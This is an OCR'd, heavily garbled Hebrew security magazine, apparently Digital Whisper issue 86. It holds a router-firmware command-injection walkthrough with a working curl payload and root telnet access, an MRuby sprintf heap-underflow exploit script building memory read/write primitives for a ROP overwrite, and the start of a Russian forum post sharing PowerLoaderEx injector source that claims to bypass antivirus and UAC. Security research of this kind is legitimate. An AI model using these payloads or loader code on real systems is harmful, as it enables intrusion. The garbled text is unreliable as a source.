20 zeFo, Bx150rdir($sp) & Store Hord NN 10197 ANXA AYEaSNl ATNA
1i v1, BxFFFFFFFF # Load Immediate
1w gp, Bx158+gp_value($sp) # Load Word 1 1
beq va, $v1, loc_484D7C # Branch on Equal nl—rnlw nl_’ Tll? DAY NNIX ’Dl?D
lui v@, Gx4ab # Load Upper Immediate
™ NTNNNN DX n'7'>n URL-n Namd DN
) |
Chttp://
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D'X1IPZI N7 TIYNA snprintf-7 FtpParse n'¥71i9nn 1172'7¥ DIVNI9A NX DNAYN L|XON NKRY

DMayin HTTP-N NYpad DNayn 1INIRY DNONI9NY NIXTIA D'WYTIY 1INIX i system?

2270 7V 12T W 19102 IXN'W NITIRD TN 01210 1NN D71, system NYXaI9Y7

AWK LIT D'NI97 YT 7T NI7WY 10X HTTP Nwpa AT'R NIRY? 1D Flow-n NIX 21727 1Tl nyd

.webupg yalpn 7w Main N"¥j1191 DRI

:N1 0"9'¥50 n','z'm 7'101 [N DA

=
move $a@, Sve
jal safe_strcmp # Jump And Link
1a $al1, aPost # “POST"
1w $gp, Bx38+var_28($sp) # Load Word
beqz $uB, loc_403288 § Branch on Zero
lui $aB, Bx48 # Load Upper Immediate
MIFIE]
loc_LBA3288: # Load Address
la $t9, getenv
jalr $t9 ; getenv # Jump And Link Register
addiu $a@, (aContent_type - Bx4B80088) # “CONTENT_TYPE™
1w $gp, Ox38+var_28(3sp) # Load Word
beqz $uB, loc_4B832E4 # Branch on Zero
move $s0, Svo
h 4
la $t9, strncmp # Load Address
1lui $at1, Oxun # Load Upper Immediate
nove $am, $vo |
la $a1, aApplicationXWe ¥ “application/x-uwwu-forn-urlencoded”
jalr $t9 ; strncmp # Jump And Link Register
1i $a2, Bx21 #n
1w $gp, Bx38+var_28($sp) # Load Word
beqz $v@, loc_4B32EC # Branch on Zero
lui a1, Bxu0 # Load Upper Immediate
|
] L}
la $t9, strncmp # Load Address
loc_hO32EC: # Load Immediate| |move $an, $so s
1i 452, 1 la $a1, adultipartFormD i “nultipart/formn-data™
jalr $t9 ; strncmp # Jump And Link Register
1i $az, 8x13 #n
1w $gp, 6x38+var_28($sp) # Load Word
beqz $uB, loc_u4@32F@ # Dranch on Zero
1i $s2, 2 # Load Immediate
11
¥

Content -n 2UNID DX 772 ,HTTP POST 2100 X'N NWPAN DRN [ND NP T2 NIKYY D710 DNRY 10D

.multipart/form data IX application/x-www-form-urlencoded 2101 XIn NW{z22 MaviMy Type

24
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$t9, strtok #t Load Address
$al, $s1 s
$a1, asc_uB5B8B & ;¢
$s55, Ox40 # Load Upper Inmmediate
$su, BxzuB # Load Upper Immediate
$t9 ; strtok #t Jump And Link Register
$s5, aSessionid ¥ “sessionid”
$s4, asc_4B5B98 & “A;T
$gp, 0x3B+var_28($sp) # Load Uord
loc_4B33BC & Branch Always
$s3, 1 # Load Immediate
¥ ¢
s
loc_4833BC: # Load Address
la $t9, strstr
moue $a@, $uB # haystack
bnez $ve, loc_4@3368 i Branch on Mot Zero
mouve $a1, §s5 # needle

FEIE

loc_403368: # Jump And Link Register
jalr $t9 ; strstr

nop

1i $a1, 0x3D #c

1w Sgp, Ox38+var_28(%§sp) # Load Vord

la $t9, strchr # Load address

beqz $vB, loc_4833A8 # Branch on Zero

noue $a0, $vo #s

jalr $t9 ; strchr #t Jump And Link Register
nop

1w $gp, Bx38+var_28($sp) # Load Word

beqz $ve, loc_%4033A8 & Branch on Zero

addiu $a@, $ve, 1 # Add Immediate Unsigned

-~

UPGGGI_CheckAuth # Jump And Link

$gp, Ox38+var_28(3$sp) # Load Word
$s0, $s53, Subd # Move Conditional on Zero

S7'v9 Session XIn HTTP-n nwpaaw Cookie 1UNI92 NAVINY Session-n OXN 7721 |[XON NKY?
IX application/x-www-form-urlencoded NTNNNN DX N7'DN NWPAN DXN D'PTIA [KON NNY
,multipart/form data a10n X'n NWPANI NT'AA .0'RNNAN 719'0N0 IR NNY YT multipart/form data
NYUPA] NN [IDTY YAl DR7YN T 7Y 'wonin 7@ firmware-n NOYA ANTY? NWpdd NI TR

HTTP-n

\EI

loc_48345C: # Load Upper Immediate

1lui 458, DxL42?

1a $t9, get_line_from_post # Load Address

sltiu  $v1, 5al, 8xae1 # Set on Less Than Immediate Unsigned
1i $uld, BzLubp # Load Immediate

mouz $a1, Svl, Su1 ## Move Conditional on Zero

jalr $t9 ; get_line from post # Jump And Link Register
addiu  $%$a@, $s8, (sUarMame - 0x4208080) # Add Immediate Unsigned

lui $a1, Oxh4@ # Load Upper Immediate

1u Sgp, Ox38+var 28(%sp) # Load Word

addiu  $%$a@, $s8, (sUarMame - 0x428880) # haystack
la 4t9, strstr # Load Address

jalr $t9 ; strstr # Jump And Link Register
la %$a1, aMame #f "name="

1w $gp, Ox38+var 28(3sp) # Load Word

beqz v, loc_4683BF8 # Branch on Zero

addiu  $s@, $vd, S # Add Immediate Unsigned
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name DW1 1UNTO W' DXRN T ,application/x-www-form-urlencoded a10n X'n nWpanl nT'Na

.Uxah N7 IR nYTY 'O ,0M1W 0'DYY NN'WAYT7 nHYIN YUK

s =
loc_4835C8: # Load Address
la $t9, stremp
nouve $a0, $s0 # 51
jalr §t9 ; strcmp # Jump And Link Register
addiu $al, (aTFtp_s - Ox408008) & “TFTP"
1w $gp, ©x38+var_28($sp) # Load Word
bnez $uB, loc_4B35FC # Branch on Mot Zero
1ui $a1, oxu0 # Load Upper Immediate
# Load Address
s strcmp
, $s8 # s1
; strocmp # Jump And Link Register
» (aHttp - Bx400086) o "HTTP"
, 0x38evar_28($sp) ¥ Load Word
, loc_uB362k 1 Branch on Hot Zero
, Bx48 # Load Upper Immediate
|1
-
: - N9 'HTTP' 1w -
YOI XIN A'X21I9 AT'RY? 2171, TV7 AXNYAN N9 Y'Y AKM)
L] L] —
e = = FPE
1a 4£t9, UPG_FtpProcCtrl # Load address)| (la St9, UPG_TFtpProcCtrl @ Load Address||la $t9, UPG_HttpProcCtrl # Load Address
b loc_WOGSED B Branch Always 1i Sam, 1 # Load Imnediate b loc_4@3sEC # Branch Aluays
1i 4an, 1 # Load Immediate 11 Sam, 1 # Load Immediate

e = = W=
jax UPGCEI_UploadAuthFile ® Jump And Link| |jal UPEBCGI_Upload TRBSSAUERFile # Jum
oc_4B35EC: 8 Jump And Link Register| nop nop
alr b1 ] loc_WR3RTH # Branch Always OUE ts1, $uo
op nove $51, S0
loc_wagia # Branch flways
ove $s51, §ui ‘

JINXAY NYTINN DY DY197 YOI NTY DX
nYUYINN 71x1

Session Dy HTTP POST aion Ni'n7 Nd™M¥ nwpan ,webupg YaIpaw NITIZON NIt NN Y¥a? 1

.application/x-www-form-urlencoded Nnrinnnn Dy NI'n? 1" Content-Type-n A101 ,7'V91 |'7N

10

.NYRPAN DX NIPYW2E X7 T TcURL DwA 701 wnnwl RNy aw7inn R X7 nioa?

'hacked!!" pIMin Dy '/var' nv'na 'mycode’ X17aW 21N 7V YA NI NN DTN

T HTTP, Telnet, FTP 120 ,0™2121019 [1130 NIYXNXA YT NNAWA? N7ID' NN NIDIN 07'N9 - cURLY
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B C:\Windows\System32icmd.exe

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\cURL>curl -d "name=HTTP&url=http://www.h.com&user=;echo hacked!! >
fvar code; &password=a&port=8&dir=a" --cookie "Cookie: sessionid=786a76ea; auth=ok; i =Sun, 15-May-2112 ©1:45:46 G
MT; langmanulset=yes; sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us" -X POST http://beconnec|
ted.client/cgi-bin/webupg

227N 7V YAl X PRY XTI ,NYRAN DNY7Y NRY

BN Telnet 10.100.102.24

{none) login: root
Password:

BusyBox v1.6.1 (2815-82-89 21:59:83 HKT) Built-in shell (ash)
Enter 'help’' for a list of built-in commands.

# cd fvar

# 1s -1 mycode
-PW-T--r--

# cat mycode
hacked!!

13

1 root 9 Jan 1 13:48 mycode

TNXA NITIRPS Ny T 7V 210 72V gninn NITIEo n¥In yy¥a? anyn PR NN INY Id

.HTTP-n nwpa 7w Donon

N7 v'w 17 0'w1 X ,N7RN DMUNI9] WIN'Y T 7Y 20N 7Y NIMpo yin? T 17 v ,nio

NTHON NX RV B p) Dhaiall snprintf-n N"X21I91 1IY 01T DX NIT9N DX ni722an

GE= n'¥2Io1 nl wnnvnv
iqu:-’
1 B, BeiSBedir{$s) Load Wore
R vl - Yl 2¢ "'opnN IRN ,system
bnez Sul, loc WB4CIE ¥ Branch on Hob Zerc
nop
Buffer-a  Xxmaw  NTI7ON
Y
=
E;z $50, loc_4ouG2y o oranch on H ro ,omn 100 nm'oyn n'n!
lui Sud, Oxub # Load Upper Inmediat
¥ ¥ -2 YXINNY MY 72 i
P = =
b loc_NOGZC ® Branch Aluay:
la S::.l: aConfFig_xml 8 "config.enl"| |loc_d@4C24: i “imag g -T“NJ' n||n‘7 n'"n SyStem
la v, almage_ing
: Y § J Null %70 oun 100 7w
N R nn? (UL .Terminator
S0 Sul, Be1SBedic($sp)
] 1o0n v yioav [1AYN2

Ty

L]

loc_hB4C30:
1w 4un, me1S0+url(3sp)
T

,JMuwa 0N 7w 71amn

.0'n 100-n NN XY

_ | K ]
—— 7277 N1 'R 71ma%7 nom
loc_LOGC3L: Load Byte
b don Ao Mhucen & oranc IMIXY 70'07N0 NIND DX
andi Su1, Sal, OxFF ! AMD T

AW DT .PTN7 D7D X
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HTTP-n nwpaa dir '72'¥9IX 10019 W' n2un'? 12 Ixw D ,HTTPProcCtrl nr¥j7aioa

'MW Y'oIN 11'K XIN MWK MIR NN [N2)
NI'MNWOX 'MYN NNX |2 NNXY2 YN IR 1NN DIMN L dir 10190 12N X7 DRY DX
Y271 ,u¥27 0'2'21YN 11NIX DNIX NTIRON 7¢ IRN DX Dopn? ' 271, 'config.xml' IX 'image.img'
NY{P1d v'oIim X7 XN DTN, port DY NINWNY DA NNIT NPT wh.dir 10n1sn DIN DX 1Inxya

NTIPON I DX DoAY NN 7y 1nxya yiaEy nx1 A1 0w 0a.80 XN NIy 7Thnnn nMa 1w

I'N' DY XXNN7 DAY DNONI9NN TN 72 AWKRD snprintf N'¥a19n XYM 0790 7 75N01 DX
NNYN INXR7 .Y¥17 N¥11 NNIR DTIRON MY 7¢ *711min IR DX 72721 - 2N 7nmn K2
Null %2215 o'un 73 1'n o'unn 100 JIMn 0'OISNN D'INN JOY 72171 - NI D71 1'an DDWN

.Terminator
NNIRY 11" X ,17¢ DIXIN DTIPON NPATH YINKAY? DN 27 29 7D 10 DY 0NRYI IR N1
D'IN ¥ 7¥ ND0I NODN NYWITI ,N7W JWUNNnl N'NDNN NTIz9NN Escaping N7Ivo y¥a7 Doy

.D'IN 25-7 PTN7 NXNIY ATIRoN NIK DX TIMY nn ;' [n'on oy

wnnwn? nx11 nTNa .'1d1 Is, echo, touch, cat :J1a> NI'0*02 NITIR9Y7 @'90Nn NIFAY 71D' AT NIN
X1 qI027W TV ,NNN YAl JIN7 DY 72 0NN 25 9w 0'-chunk-2 21M>7 7212 NP NIDNX NITIRO2

JIN7AN NITIPD DY YN TRX Yl

.CVE-2017-13713 - CVE 190n2 NnnNa IT NIY'as
0'S0I11 NN D

YN NO'PNN NI DX 7'Tan? nan 7y N1pn? N 0'oo0n 0NAT
.WAN-D nvA NT NITRo N i L1
YTNN 270 DX 09XIY Dyd 75 ,RAM-1 Wnwl yTMnaw |1 - 1MXY 1010 7Y AT'NR Ny .2

019'R ANKRY DA MWD NIX QIN7 NN 7Y nyIap NrNR N7AR7 0T RIxn? v D71, pnn

.1 719 9w qwnna 178 02N 2y nny7 non
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nid'o

NN2N NNY 11D 71T X' Embedded M¥ind yT'n NNVAR Y NI'WNN DT 1NN IRNY 10D

ANXNIY DTN 12D NNLAN NIXY97 DN7Y D'YNNWNN DX NIDYINI 2N NiN7ynn

LV INYmIY DYXY NIDoN NI'YAD 1I901'KX7 NoIwNI 2009 NIwn X' 2N 7V nxw Kernel-n noNa

T

NIX NIRYY IWOKX 'RY D 7V qona ,2DM] 17 NINSYY telnet-7 770 yTIin N X7 VIYD 'M' wnnwn

JIMnn nwa? 2N 1IN DYy QIvn NP R NIz ,0ntMine'o NXI DN W'y 0'wnnvnn
NT'NX 2'WN7 N'on' NI7pa N1 ,DN0IN X7 DY (1D 178 MIYEN 2D qIpNYT 000K W' qrInY

.DNO'7N T N'N19N NWIN 7Y
.© Inxy W7nNnn NX Y¥a7 10301 NNINY 10D DNRNIY DN

..N2PUNn - PN

n"annn 7y

NN NIP'TA 7V WAT2 yTNn NNVAN DINNA DI'D 70YNA .N1DIN 'KOTIN ,22 |2 ,'NITA 'R e
AINKY? nomnl

TN DAl niwlIn 7NN pOoyNn 119N 11N1vY Low Level NN9n ,'90> Iy o

NIAIMD2A 'YX NI9Y DNATIA L, NIRD/NYN ,NIRY 77

haymizrachi@gmail.com

komerkO@gmail.com

nITIn

NNYN LYV NNIY UowINa 78Maal L 2v'Y'Y IR L JNY IR PoNT TR L'NAN A7 DTN

.NT NNN 7Y noro? D1l

|'2 D097 D'D'WNN DNXRY D'YIXZAN NIIYZaN 72 71 ,nmNnn D101 7y Digital Whisper D27 nTin

WUTINY UTIN
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NXMP? 0'901 NNl A'vNaran

:Exploit-DB Naxna ni'iyao7 oniwyp

https://www.exploit-db.com/exploits/33500

https://www.exploit-db.com/exploits/42547

:CVE MITRE "NX2 ,NNN2 1AXINY D'-CVE-N NITIN X7 yTn? RILJNT,

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8770

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-13713

:Github "nxa NI 112V 2N 1Ay SDK-7 wyp

https://github.com/frederic/rtI819x-toolchain

:OWASP INX2 ,NNXNIY NIY1A9N NITIX 901 YTNY7 MWy

https://www.owasp.org/index.php/Testing for Local File Inclusion
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Technologic

N™N1071 NN anMa - MRuby

['?O'R 7" INN

aNTN

(on19n) Nnann 7 yPwNY? 715' N N2 TIR NINAN NIRNN Format String-n NIW7In nNown
;U0 D07 YT 7W D09 TN NWORKR' 17X NIYYZIN 0770 7w NODTN IX 11019 N7IYD YXINN 1'D WY
nNYY NPAIZNY XN DY NING nTa  NRT oy L("%n"-2 n>'an ¢l NTNa) 1YY win' DA 0yl
MLN DINNE WIM NIY2IN 79N XN DAY DNzna P71,T% NadIm Nt unisn 1IoNd v

"%n"-2 Ix X77 DA 97N nmyn

,J019102'K NIBWA DA C NOWA WNINN IT N'AI7 N70N 2N7W XN LI winn nIv?in 7w qon |nn'
2v "nmM"n wimmn ,MRuby-2 'MX¥NY ITOW nW2INQ TNl AT RN .Ruby-1 Python nnaim
1N7¢ NN IR NMIT NIY2IN Mxxn "CRuby" '12'2% NOTYW Y9N win'na DAY X7 W' .Ruby Now
17 NIVYOSHY 7721 77'va ,nNan lan T 7Y wim'y nwyl 1 "nmtn wimma Tpnnn? 9riux

N NLAIRA NIFAYT INIR 72107 NI

MRuby nooian n'x101'1 NADN - NVNN NAXN

11]’]"\!}9}{ XAt .C/MRuby nooIAN N'NIVY MIDN] YIN'wn TN 7N'¥I019 NN Y'TYJO' N7 KN

JNX2N NNIISV79N X' NV WNNNY

vin'y MwoNnn ,Shopify-Scripts N'Nwn nNX nMiNR?7 ny'xn Shopify 1Nup RN Anonn n1an
T 7V AND'NY 2179 T KT TI7N 0'YAIN NNVAKRN 11D'0 NN O¥NX? 1D .Ruby Ndwa 0'uo1pPoa
N'MYNN ,N71D MMaNN N'MYN 7Y gX IX NP7 NN 2y 0U"X7 0'7199w D1212'o NINRYAN 'n
N7 yin .mruby-engine X1P1N 90N LP'NS NIWYXNARA 729NN MRuby "nTM"n wimma nwnnwn
|N2'TN N7220 7V D'RINKD D'OIN DA DA7IYN 12 ,TI91 '70N2 T0I9IVI'RN NXIN 2V 'RINR
IVI9IVI'RN NOY 7Y NXINN YIINY D'ON'NNA 12 N'ON' Y191 VD01 NYYNT INT .NXIN [AT N72aNI

.07 7179N PTIN DX 72220 WK "NYRIv nadn” rund

2V NdNN1 NI'R sprintf N710NN DIYXY71 mruby-gems 7w Nnxni¥n AXIAP-NNA 7Y WIN'Y NIV mruby_engine D AT WWpna X7 W n
N'¥I0197 N'X7IN'0 7VD DT MANY? on'NnY [N ,0'NN9N 1172 2NN WIN'WA NIXRYNY UNIID NIYXANA NITINNA NIOSTNI [N ,D7IX .IT
MmN 7Y 1INY7D M1 winm? MYOKRN TN DX DT L'917'NY .YINn T 7Y NONNY ANtR PR IT 270N DTN DA Y pnn

.Shopify 7& n'nwnN7 '9'¥90 W7 *2an C/Mruby nooian X101

MRuby - n"78107'1 MPNNR NNM2
www.DigitalWhisper.co.il
31 2017 "2anvd0 ,86 |I''2



https://www.shopify.com/
https://help.shopify.com/api/tutorials/shopify-scripts
https://github.com/mruby/mruby
https://github.com/Shopify/mruby-engine
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, 0Ny niov'n 19N |]I;U'1|"l'7 X1l 0'Y'as n'uo"p70 n7un n|,7'7 D'MNN Y'nnNn DN DI'RN 'Y'NnN

.1MN2ANN N'NYNA VIA97 N10N1 D'y n'us" o n7un 'y n|,7'7 J'Yn U'nnn IR

vin'ma 7y xp yin

NNAN NIX2 MIYDIR WK ,mrb_str_format() X'n nY'a9n n'¥7219n
:DNITY INYN DIRXZN e
NN NTYN JIAY XN N09TNN QNN DX AX'NN MINWN - width o

"NJ13N N2WN 1A (PITA) NIMXIN NIN90N NIND NIX XN NINWN - precision o

VNS PN W AR DX e

17 D'RNNN 719'07 770 70 AN - switch-case o

AY2INN Naxn

"%G" NIYXNNI 1AW NOOSTNA 719'01 NN 7¥11 NNIX WINMn NY2IN

// EI: fractions (%f, %G, ...)
if ((flags&FWIDTH) && need < width)
need = width;
need += 20;
CHECK (need) ;
// EI: And this is a double vulnerability
n = snprintf (&¢buf[blen], need, fbuf, fval);
blen += n;

W 73 707 ' D uNIeN T 7Y V7Y DWW int AI0N NINWN KIN width NINWNN DN
IX "0" INN NIY¥NXA NWY' N7 TI9NN IWURD ,09TI'Y NTYN 2NN DX [UX7 IT'RON 79 11'RY
,020 :NN90 3 NIND7 NIY¥NANA AXI" T'ANW D 2NWY 1901 0'9T "%03d" :NnAIT? .NIIM NIYYXNN]

.'1D1,4293 ,127

?79"10 TN yopa 0'RIN NI NN TR

NX 721'v 12T NI'nn N7von axxInd Integer-Overflow Nw2in% 2 21ma width nanwn .1
299 NN need Mnwnn 7w DY

2N MDY DIwn NKRTI CHECK(need) NPXN1Y DY7TaN N'TA DX NN7¥NA YAy a1 ‘2% 1y .2
signed D'INWN] 711 LYND WIN'YW nWIY MRuby DA ,0"01910V1'RN NISY

NTY' (D"NX DY D'YWIN'A D) MRuby ,0Mawa 719'0 7w 10 MN winmn NX Jion? nm v .3

N'VATIVON N'MD0NN YIN'N2a

MRuby - n"78107'1 MPNNR NNM2
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112V NTAINY precision-71 width-7 nion'nn n'nn 1 ("%G" ) 0 o 7o fouf p w4

awn

snprintf() 'P297 ARMpEN 01910 libc 'wimma 7N AWM 'K DY width nanwnl [inn .5
NX'AY 1Y ,-1 27NN
NOSTNN NKXIN YXIN2 2IMD1 IDINT NA'MON VO'N 7V 'RINX blen nInwnn .6

blen mInwnn Yw DY NX ,N'NON "blen +=n" 2a'nn n7ve .7

0OIMNAY 221 ,NRXINN YXIN2 N2'NON UKRY NX LU ANIXa  NMINK T'TRY 0710 1INIX , X2l

20OVI'RN 17NN 7w heap-n 7V heap buffer underflow 10N NVYWI yYXIN NOMTY

'nyn Nint - N2'Nd 2'0'N"IO

Y Dni'p DX PITA7 DX L1N7W YYIND NINKAD NMIVAYN DRINAY VTR ONT? AXl PN |IDNn

:NY2INN NNt N mrb_str_format '2219%7 Yaina D'Nan 190N

?00"TN NNUVN ANKRYT AY'W D DXXINN YXIN DX D7n7 0710 DR DRN .1

?ORNINN YXIN N7'NN 197 DY'NONT7 N710' N9 TNN N7IVD DRN .2

JNo'N DINXPD'? VAl NNON NITIzIA 2IOY] 12 ,X2N 27152 120N NIIYKRIN N7RY7 naIwnn

Write- 2101 N2> 2'0MMID A'WNYT 7211 DXN VDN XY DIYN TR NAIYN NMIYN N7RUN
DY waNn? n7175w N9'¥1 N0MTA DA DXRN IX L(112IX1D DR MIX1D NaNd) What-Where
\O' DI'ON IN NX 2NDN snprintf 72190 ,11NYX7 .NO0ITN NIVN NP2 D'RXNIY D'Y'AN DN AN
\0' "M 7¥ 721w V'RUNT YIRT 117U Dpnaw XD DIYNRYNn ARIY Y Dpna yrinn n?'nny

7 AN Ny 17712 2Imi L yxinn N7'nN7 TV N0 TN A'NI

D'>IYNN P70 NAT PTVY? DA 011 901al L17YW 0T IR DR DIN''NY7 XN ax P v

.DNI'PN DX N'V2NY NN 7Y ,N0MTN 2170Naw

MRuby - n"78107'1 MPNNR NNM2
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MRuby 7@ [In>Th n1an

V19 ASLR-N WD ,0'2-32 OpI1'7 NAIdN 7un YXaNN 71NN 72181 nyva

JIAxY 71¥10 15N 7'NNIY 1197 ;010NN 7Y yT)n qIotR )'7nnn NNon NiTip 1oon |70

0132 N9Y NN V' 32/64 e

Ubuntu 16.04 :n7u9n Ndyn e

DUNAPN D'MIP'AA 1N NIMD0N N ,VIAR DIPMY7 79017 Monn 1"70n ASLR

'01TIV0 malloc() 21'a0 N1 NOLYN ((memory pool) [NJ'TN AN N1AN e

w9 (WAE) 02 NX W' X7 :D'2'ND 0'9TN TIR YIN7 (N1 DXN e

ELF Header:
Magic:
Class:
Data:
Version:
DS/ABI:
ABI Version:

Type:

Machine:

Version:

Entry point address:

Start of program headers:
Start of section headers:
Flags:

Size of this header:

Size of program headers:
Mumber of program headers:
Size of section headers:
Number of section headers:
Section header string table index:

7f 45 4c 46 01 01 01 00 00 OO0 GO0 0O 66 6O OO OO

ELF32

2's complement, little endian
1 (current)

UNIX - System V

4]

EXEC (Executable file)

Intel 88386

Ox1

0x8049260

52 (bytes into file)

1547224 (bytes into file)

Ox0
52
32
9
40
38
35

(bytes)
(bytes)

(bytes)

N7 [IND'T NAKN LTIV [NOT MARN] YIN'Y nwy) 7wun%? PHP-Qw DIYN ,2IUN KIN [IN2'TN NAXN N1an

malloc-n wiNn'M7 T2 L,|NDT NONT NIY2IN 1'yn X7 79 AN nmivawnl 7 ozl 10

1780w 071N TAD ?I'TA NPT VYN X7 ' 12 'vTIVON
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no"TnN YXIN NKX'XN

,(Mamd1 AxMP) ooDwnl (1A% ARApR) NITNNn ,MRuby NSwa D'y¥¥IN '00IAN DN 2N
:D2IN) 12N YN D'adIN
N'oN' NNV [INDT NIRYZN - (metadata) "N yTN .1

nITNNN 7w Mpna 1 + 772018 ,7727 DRNNQ ARY7N - yT yxin .2

IN'D NYION 72192 NRXINN YXIN ¢ N'0'01N |ND'TN NRYZN
blen=120

MRB_STR_BUF_MIN_SIZE=128 e

MRB_STR_BUF_MIN_SIZE + 1 = malloc(129) = n'N7nNn nX¥7n e

Garbage Collection

M1¥n Y70 227 roi7n% Imix 7021 1k VLAl LY N MRuby YW Garbage Collection-n [1221n
N9'PNN NX O'RNNYT 2D [N .VIAP DHPNAL QY [INDT 2NN 71¥97 XA NiFf 'NNdN TYX INT
NMIynYn NN (memory shaping) [N2'TH QX' )"7nN ™8 X ,7'V9 Garbage Collector-n 12 2x¥n?

AN aA01In
ASLR notpy

aNNYT NI'RIPR 7907 TYVIRY TN N1AN V90AIR KIN (Address Space Layout Randomization) ASLR
N1 N9Y Dapnal L,D'NIvAYN NIRNON 150N 0Y7'0n 17w DNI9IN D'YUINMN ,NINT DY .[ND'TN
N3N NIAMD ¥ 2-n MSB-n N2 NNNA 71 NIPRIPK 790N XIN D N0A NIXA MY
MSB-n n'an niyxnxa (Ti ,N1onn ,heap) NINIAVRYT [NOT NIAMD 7707 N2 " Ty e

qQ7INY |V X7 PNWN 2NN DNYONNIL,D'WIAR DN (Nonn/heap) N0 72 N2 D'VO'N o

NNITY? NNQ XD .heap-n 112y1 110NN N1AY 'RIPXR N INIR DR RIXAT7 DX TV LIT DAYD NX
|INDT MAPTN NW2IN WON7 NI TIYa .0'R¥YN 1IX N2 NYRIVYIN NIDNN 7Y interpreter-n NN
NISY NI N'ONTRI NVIYD T MY' D7 OTIZ NIYIAY 190N 'MX¥AY IT nY7IN 11D ,MRuby-1
[1N2'TA NAIND VIYD 12'D T NNTA DIPAN 2NA1 L0 IR 72 1Y FTIN' N7 NIRIRT 1019101

.0pPmaIND v

oW >"Ta KNIN (Class) np'7nn 'O aIxR 7w (str()) 'vaon NTNNAN X" ,YYYYN NP TIV AIxa
22 7w TIN'D "annn NN N7 an 17'9X Anmin 7 TIM%7 [N P71, 0" aIRN DNl nR'7nnn

NN INIXY nwa7 now
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NX?) read-where NW7IN DY 217'wa .heap-1 DPIN' AN7Y ,'D'¥90 VP"AIX 1IAY ASLR 7w *TnY
QNN VM-n 7w noTa non D 7w nron' nuiwe N2 NwoNN AN It nwa L, (111x1) Dipna

ANXNN \YNN] NNATIA N'O9'X90 XNAIT
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Flash 'mT 721x1

yTn wi'w :Flash '71¥ 2 TINA NNDY QWX INIRZIDI9 DR 00 UMY Nwyl IR 7180 17002
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DN DN DYRTR NQ'MD/ARNMP 7w D09 FTY 17W NQMDN 2'0'NMI9 NN ATYY

MRuby - n"78107'1 MPNNR NNM2
www.DigitalWhisper.co.il
36 2017 "2anvd0 ,86 |I''2




Technologic

TN' 700 NIX D"MANN - 710 A

2 Y2 RN 71¥0 NAN D 71,00 TV 1190XY 0R'0MNI9N 7D DX TN 12NYT 117 IR 71 D)

# Position the ROP code for later use (filled later)

rop code = '' # assume a const string of size 0x2000 (see previous tips)
# Create a dummy class that will be used for the information disclosure
class A

end

# Disable the GC so it won't interfere

GC.disable()

# prepare the address offsets in advance

heap MSB = 0x00000000

stack MSB = 0xB0000000

# Leak the heap's address using the leaked id

# The actual offset depends on the final memory layout

heap base = A.new.to_s()[6, 7].to i(16) - OBJ HEAP OFFSET

# Prepare the format options, the best option will be picked for use
# Using an option changes the layout much less than building an option

lengthl = SMALL LENGTH # small option

# huge (signed) length

formatl = "% 2147483628G" * lengthl

# string: length, capacity = huge (positive) constants
formatl += "\x00\x00\x00\x40" * 2

# string: pointer = stack MSB + alignment (8)

formatl += "\x08\x00\x00\xBO"

# malloc metadata

formatl += "8" * (lengthl - 16) + "\x81\x00\x00\x00"
argsl = [1.2] * lengthl

length2 = BIG_LENGTH# huge option (wasn't needed after all)
format2 = "% 2147483628G" * length2

# garbage consts

format2 += "\x11\x22\x33\x44" * 2 + "\x22\x33\x44\x55"

# malloc metadata

format2 4= "7" * (length2 - 16) + "\x81\x00\x00\x00"

args2 = [1.2] * length2

length3 = MED LENGTH # medium option

# huge (signed) length

format3 = "% 2147483628G" * length3

# array: length, capacity = huge (positive) constants
format3 += "\x00\x00\x00\x40" * 2

# array: pointer = 0 (heap MSB is 0)

format3 += "\x00\x00\x00\x00"

# malloc metadata

format3 += "6" * (length3 - 16) + "\x81\x00\x00\x00"

args3 = [1.2] * length3

# prepare a product of all options

argsll = [formatl] + argsl
argsl?2 = [formatl] + args2
argsl3 = [formatl] + args3
args2l = [format2] + argsl
args22 = [format2] + args2
args23 = [format2] + args3
args31l = [format3] + argsl
args32 = [format3] + args2

MRuby - n"78107'1 MPNNR NNM2
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args33 = [format3] + args3

# declare the pool of target strings
index = 0
string pool = []
while index < 2000 do
string pool.append("1" * 20) # size of a metadata chunk
index += 1
end

# Exploit vulnerability to change the string - gaining a Read-Where
primitive
sprintf (*args32)

# Search for a stack address somewhere in the heap
stack address = 0

stack address = stack address * 256 +

string pool[STR TARGET OFFSET] [heap base + HEAP OFFSET + 3 -
heap MSB].ord()

stack address = stack address * 256 +

string pool[STR TARGET OFFSET] [heap base + HEAP OFFSET + 2 -
heap MSB].ord()

stack address = stack address * 256 +

string pool [STR TARGET OFFSET] [heap base + HEAP OFFSET + 1 -
heap MSB].ord()

stack address = stack address * 256 +

string pool[STR TARGET OFFSET] [heap base + HEAP OFFSET + 0 -
heap MSB].ord()

stack base = stack address - STACK INF OFFSET

# declare the pool of target arrays
index = 0

array pool = []

while index < 400 do
array pool.append([1])
index +=

end

# Exploit vulnerability to change the array - gaining a Write-What-Where
primitive
sprintf (*argsl?2)

target array = array pool[ARRAY TARGET OFFSET]

# Overwrite the desired stack target with our ROP code

target arrayl[(stack base - stack MSB + STACK WRITE OFFSET) / 0xC] =
heap base + ROP HEAP OFFSET

MIva NpI7Nn DX 'MooIn P 7w ,0'ma (0xC) 12 11'A wna 1Ak D %W TN tntdu nya
"1 format_args 7w LSB-n N\an NX NNY7 [N ,NIYIM NI DYIXNIN DAMIdNE VTN .NINNKRD

(N7 M2 8) Ixdn vo'N7 D'RN'Y
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Writing Malware Without Writing Code
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C' Y @& Secure  https//fuckav.ru/showthread.php?t=31252
Haw Jabber-cepBep pacnosiodKeH no agpecy ruckav.in. Jlobpo noxasioBaTtb!!!

) FuckAV (®akAB) > Pabotaem c chaiinamm > Source > C, C++ W |AMs
"yl [c++] ncxogHnkn noagepa c MHxekToM PowerlLoaderEx (source,loader,inject) Napans
Peructpauus Coobuectso w Coobennn 3a peHs
§ OmBemuns

OnunK TeMbl

— (2 05-01-2017, 05:54 'l__ [e++] c PowerLoaderEx (source,loader,inject)

Ouenb nHTepecHbii Noagep ¢ uHxexTom nog x32 1 x64. MrxekT gaet soaMoxHocTe oboitTn daitepson u UAC 1 ewe ny-ok sawur.
The Dark Side
WMrxextupyet explorer.exe vepes Shell_TrayWnd / NtQueueApcThread (32bit / 64bit)

Koa:

// PowerLoaderEx.cpp : Defines the entry point for the application.
v

#include <windows.h>

#include <tc >
#include <TlHelp32.h>
#include <Psapi.h>
#include <Shlwapi.h>
Pericrpaua: 30.01.2012 #include <Winternl.h>

